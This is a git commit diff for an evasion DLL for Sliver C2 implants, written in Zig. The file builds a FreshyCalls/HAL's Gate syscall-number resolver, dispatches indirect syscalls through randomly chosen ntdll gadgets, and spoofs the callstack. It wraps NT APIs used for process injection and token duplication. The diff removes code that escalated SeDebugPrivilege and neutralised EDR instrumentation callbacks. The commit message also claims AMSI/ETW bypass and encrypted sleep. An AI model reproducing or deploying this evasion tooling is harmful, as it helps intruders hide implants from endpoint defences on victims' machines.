Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.

This commit is contained in:
2026-07-18 09:30:00 +01:00
parent fe2726a430
commit 7ecc30f1cd
24 changed files with 727 additions and 466 deletions
+53 -113
View File
@@ -1,5 +1,4 @@
// Syscall dispatch ??? SSN extraction, indirect syscalls, EDR callback removal.
// References: HellsGate (am0nsec), FreshyCalls (0xdbgman), SysWhispers (jthuraisamy)
// Syscall dispatch, SSN extraction, indirect syscalls.
const std = @import("std");
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
@@ -11,16 +10,14 @@ var g_ntdll_base: ?*anyopaque = null;
var g_init_done: bool = false;
var g_rand_state: u64 = 0;
// FreshyCalls table ??? ntdll Nt* exports sorted by RVA, SSN = position in sorted order
// FreshyCalls table, ntdll Nt* exports sorted by RVA. SSN = sort position.
const FRESHY_MAX: usize = 1024;
const FreshyEntry = struct { hash: u32, rva: u32 };
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
var g_freshy_count: usize = 0;
var g_freshy_ready: bool = false;
// jmp r10 gadget (41 FF E2) found in ntdll at init ??? used as CFG-safe IC neutralizer
var g_jmp_r10_gadget: usize = 0;
var g_fake_return_addr: usize = 0; // standalone ret (0xC3) in ntdll .text ??? callstack spoof
var g_fake_return_addr: usize = 0;
extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
@@ -35,36 +32,41 @@ pub fn xorshift64() u64 {
}
var g_ntdll_size: usize = 0;
var g_exc_begin: usize = 0;
var g_exc_count: usize = 0;
pub var g_exc_begin: usize = 0;
pub var g_exc_count: usize = 0;
// FreshyCalls table builder ??? walks ntdll's export directory, collects Nt* exports
// with real code addresses (skips forwarded exports whose RVAs fall inside the export
// directory range). Sorts by RVA ascending. SSN = position in sorted order.
// Immune to inline hooking because it only reads the export directory and the RVA sort
// order is invariant ??? EDRs can't fake the linker's function layout.
// Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
// FreshyCalls table builder. Walks ntdll export directory, collects Nt* exports
// with real code addresses. Sorts by RVA ascending. SSN = sort position.
// Immune to inline hooking, EDRs cannot change linker RVA order.
fn build_freshy_table() void {
const base = g_ntdll_base orelse return;
const base_bytes = @as([*]u8, @ptrCast(base));
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return;
const NT_SIGNATURE: u32 = 0x00004550;
const nt = @as(*align(1) extern struct {
Signature: u32,
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
OptionalHeader: extern struct { Magic: u16, pad1: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
}, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != NT_SIGNATURE) return;
const export_dir = nt.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
const exp = @as(*align(1) extern struct {
Characteristics: u32, TimeDateStamp: u32, MajorVersion: u16, MinorVersion: u16,
Name: u32, Base: u32, NumberOfFunctions: u32, NumberOfNames: u32,
AddressOfFunctions: u32, AddressOfNames: u32, AddressOfNameOrdinals: u32,
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
Characteristics: u32,
TimeDateStamp: u32,
MajorVersion: u16,
MinorVersion: u16,
Name: u32,
Base: u32,
NumberOfFunctions: u32,
NumberOfNames: u32,
AddressOfFunctions: u32,
AddressOfNames: u32,
AddressOfNameOrdinals: u32,
}, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
if (exp.NumberOfNames == 0) return;
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
@@ -77,13 +79,13 @@ fn build_freshy_table() void {
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
const name = std.mem.sliceTo(name_ptr, 0);
// Only Nt* exports ??? Zw* shares identical SSNs and would produce duplicate positions
// Only Nt* exports, Zw* shares identical SSNs and would produce duplicates
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
const ordinal = ords[i];
if (ordinal >= exp.NumberOfFunctions) continue;
const rva = funcs[ordinal];
// Skip forwarded exports ??? their RVAs point inside the export directory
// Skip forwarded exports, RVAs point inside the export directory
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
g_freshy_entries[g_freshy_count] = FreshyEntry{
@@ -93,7 +95,7 @@ fn build_freshy_table() void {
g_freshy_count += 1;
}
// Sort by RVA ascending ??? SSN = position in sorted order
// Sort by RVA ascending, SSN = position in sorted order
if (g_freshy_count > 1) {
var bubble_i: usize = 0;
while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) {
@@ -113,7 +115,7 @@ fn build_freshy_table() void {
g_freshy_ready = true;
}
// FreshyCalls lookup ??? linear scan by hash in the sorted table, returns SSN.
// FreshyCalls lookup, linear scan by hash in sorted table. Returns SSN.
fn extract_ssn_freshy(func_hash: u32) ?u16 {
if (!g_freshy_ready) return null;
for (0..g_freshy_count) |i| {
@@ -124,14 +126,13 @@ fn extract_ssn_freshy(func_hash: u32) ?u16 {
return null;
}
const RUNTIME_FUNCTION = extern struct {
pub const RUNTIME_FUNCTION = extern struct {
BeginAddress: u32,
EndAddress: u32,
UnwindInfoAddress: u32,
};
// then falls back to HAL's Gate exception directory binary search with 0xB8 scan.
// Reference (FreshyCalls): https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
// Falls back to HAL's Gate, binary search exception directory with 0xB8 scan.
pub fn extract_ssn(func_hash: u32) ?u16 {
if (!init_syscall()) return null;
@@ -175,10 +176,8 @@ pub fn extract_ssn(func_hash: u32) ?u16 {
return null;
}
// Scans all of ntdll for "syscall; ret" (0F 05 C3) byte sequences, stores their addresses
// in g_syscall_addrs. Also seeds the PRNG, builds FreshyCalls table, caches exception
// directory for HAL's Gate fallback, and finds jmp r10 gadget for CFG-aware IC removal.
// Runs once ??? subsequent calls no-op.
// Seeds PRNG, builds FreshyCalls table, caches exception directory.
// Runs once, subsequent calls no-op.
pub fn init_syscall() bool {
if (g_init_done and g_ntdll_base != null) return true;
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
@@ -193,20 +192,18 @@ pub fn init_syscall() bool {
g_rand_state ^= GetTickCount64();
}
// Scan .text section for syscall gadgets ??? bounds from section headers below
// so we never match 0F 05 C3 data constants in .rdata/.data.
// Scan .text for syscall;ret (0F 05 C3) gadgets, scoped to .text section
const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?));
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return false;
const NT_SIGNATURE: u32 = 0x00004550;
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != NT_SIGNATURE) return false;
g_ntdll_size = nt.OptionalHeader.SizeOfImage;
g_syscall_count = 0;
// Walk section headers to find .text and .pdata bounds ??? scopes the
// gadget scans below so we don't match data constants in .rdata/.data.
// Walk section headers to find .text and .pdata bounds
{
const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240));
const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start));
@@ -225,7 +222,7 @@ pub fn init_syscall() bool {
}
if (text_va == 0 or text_size == 0) return false;
// Scan .text for "syscall; ret" (0F 05 C3) gadgets
// Scan .text for syscall;ret (0F 05 C3) gadgets
var j: usize = text_va;
const scan_end: usize = text_va + text_size;
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
@@ -233,45 +230,31 @@ pub fn init_syscall() bool {
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
g_syscall_count += 1;
}
// Callstack spoof: find a standalone 0xC3 (ret) not part of
// syscall;ret. Pushed before jmp so kernel sees ntdll frames.
// Find standalone ret (0xC3) not part of syscall;ret for callstack spoof
if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
g_fake_return_addr = @intFromPtr(&base_bytes[j]);
}
}
}
// Scan .text for jmp r10 gadget (41 FF E2) ??? CFG-aware IC nullifier
var scan_i: usize = text_va;
while (scan_i < scan_end - 3) : (scan_i += 1) {
if (base_bytes[scan_i] == 0x41 and base_bytes[scan_i + 1] == 0xFF and base_bytes[scan_i + 2] == 0xE2) {
g_jmp_r10_gadget = @intFromPtr(&base_bytes[scan_i]);
break;
}
}
}
if (g_syscall_count == 0) return false;
// Build FreshyCalls table ??? Nt* exports sorted by RVA, SSN = position
// Build FreshyCalls table
build_freshy_table();
g_init_done = true;
return true;
}
// Core dispatcher: extract SSN ??? pick random syscall gadget ??? hells_gate to encrypt SSN ???
// pack up to 11 args ??? call hell_descent assembly stub. Gadget address and SSN are XOR'd
// with a mask stored in the assembly data section (stack-based masking, not a real cipher).
// Syscall dispatch. Extracts SSN, picks random gadget from pool, calls asm stub.
pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
const gadget = g_syscall_addrs[idx];
// Callstack spoof: push a standalone ret from ntdll .text so the kernel sees
// ntdll frames on top. Gate to <5 args ??? 5+ arg syscalls have stack-based args
// at RSP+0x28+index*8 that our push would shift by 8 bytes.
// Ref: WithSecure CallStackSpoofer ??? https://github.com/WithSecureLabs/CallStackSpoofer
// Callstack spoof: push standalone ret from ntdll so kernel sees ntdll frames.
// Gated to <5 args, 5+ arg syscalls have stack args RSP+0x28+idx*8 shifted by push.
const fake: usize = if (arg_count < 5) g_fake_return_addr else 0;
hells_gate(@as(u32, ssn), gadget, fake);
const a = [11]usize{
@@ -297,7 +280,7 @@ fn ntstatus(r: usize) win.NTSTATUS {
// --------- NT API wrappers ---------
// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash.
// Standard sleep syscall. Spoofed ??? EDRs commonly hook SleepEx and derivatives.
// Standard sleep syscall.
pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
@@ -315,15 +298,19 @@ pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, inf
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
}
// Closes a handle. Spoofed ??? EDRs monitor this as a way to detect handle leaks from unknown sources.
// Closes a handle.
pub fn nt_close(handle: win.HANDLE) win.NTSTATUS {
const args = [_]usize{@intFromPtr(handle)};
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
}
// Pseudo-handles: no need to open, just use these constants
pub fn nt_current_process() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); }
pub fn nt_current_thread() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); }
pub fn nt_current_process() win.HANDLE {
return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF));
}
pub fn nt_current_thread() win.HANDLE {
return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE));
}
// Opens a handle to another process by PID.
pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS {
@@ -337,77 +324,30 @@ pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, i
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4));
}
// Escalates SeDebugPrivilege so that NtSetInformationProcess(InfoClass=40) can clear EDR
// process instrumentation callbacks. Silently skipped if any step fails — privilege escalation
// is best-effort (requires admin/elevated token on most systems).
// ponytail: heavily monitored — every major EDR watches NtSetInformationProcess(InfoClass=40)
// specifically. The call still works technically on Win10/Win11 but triggers immediate
// detection on CrowdStrike, Defender ATP, and SentinelOne. Runs last in startup chain so
// the "silence" isn't immediately flagged. Consider removing once further engagement
// data confirms this technique burns implants.
fn escalate_debug_priv() void {
const getcp = api.priv_get_current_process orelse return;
const open_tok = api.exec_open_process_token orelse return;
const lookup = api.priv_lookup_privilege_value_w orelse return;
const adjust = api.priv_adjust_token_privileges orelse return;
var h_token: win.HANDLE = undefined;
if (open_tok(getcp(), win.TOKEN_ADJUST_PRIVILEGES | win.TOKEN_QUERY, &h_token) == 0) return;
defer _ = nt_close(h_token);
var luid: win.LUID = undefined;
if (lookup(null, &[_:0]u16{ 'S', 'e', 'D', 'e', 'b', 'u', 'g', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e' }, &luid) == 0) return;
var tp = win.TOKEN_PRIVILEGES{
.PrivilegeCount = 1,
.Privileges = [1]win.LUID_AND_ATTRIBUTES{.{ .Luid = luid, .Attributes = win.SE_PRIVILEGE_ENABLED }},
};
_ = adjust(h_token, 0, &tp, 0, null, null);
}
// Removes kernel-level EDR instrumentation callbacks (InfoClass 40 = ProcessInstrumentationCallback).
// CFG-aware: on CFG-enabled systems (Win10 1709+ default), the kernel refuses to null the
// callback pointer. Instead we set it to a jmp r10 gadget in ntdll — the IC fires but
// immediately returns, effectively neutralizing the callback.
// Reference: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
// WARNING: Heavily monitored. CrowdStrike, Defender ATP, and SentinelOne all watch
// NtSetInformationProcess(InfoClass=40) specifically. DbgMan (May 2026): removal of kernel
// callbacks is the domain of BYOVD driver techniques, not user-mode syscalls. Consider
// this technique burn-once — it is detectable by design and runs LAST in startup chain.
pub fn remove_edr_callbacks() void {
escalate_debug_priv();
const PI_CALLBACK: u32 = 40;
const callback = if (g_jmp_r10_gadget != 0) @as(*anyopaque, @ptrFromInt(g_jmp_r10_gadget)) else null;
var callbacks = win.PROCESS_INSTRUMENTATION_CALLBACK{ .Version = 0, .Reserved = 0, .Callback = callback };
_ = nt_set_information_process(nt_current_process(), PI_CALLBACK, @ptrCast(&callbacks), @sizeOf(win.PROCESS_INSTRUMENTATION_CALLBACK));
}
// Allocates virtual memory in any process. Spoofed ??? high-value EDR target.
pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6));
}
// Writes memory in any process. Spoofed ??? injection detection target.
// Writes memory in any process.
pub fn nt_write_virtual_memory(process_handle: win.HANDLE, base_address: *anyopaque, buffer: [*]const u8, buffer_len: win.SIZE_T, bytes_written: ?*win.SIZE_T) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(buffer), @as(usize, buffer_len), if (bytes_written) |bw| @intFromPtr(bw) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWriteVirtualMemory"), &args, 5));
}
// Changes page protection. Spoofed ??? commonly monitored for shellcode/RWX patterns.
// Changes page protection.
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
}
// Creates a thread in any process. Spoofed ??? primary EDR/AV injection detection point.
// Creates a thread in any process.
pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11));
}
// Creates a new process. Spoofed ??? fork-and-run is the loudest IOC EDRs look for.
// Creates a new process.
pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11));
@@ -457,4 +397,4 @@ pub fn nt_open_process_token(process_handle: win.HANDLE, desired_access: win.DWO
pub fn nt_duplicate_token(existing_token: win.HANDLE, desired_access: win.DWORD, object_attributes: ?*win.OBJECT_ATTRIBUTES, effective_only: win.BOOLEAN, token_type: win.DWORD, new_token: *win.HANDLE) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromBool(effective_only != 0), @as(usize, token_type), @intFromPtr(new_token) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6));
}
}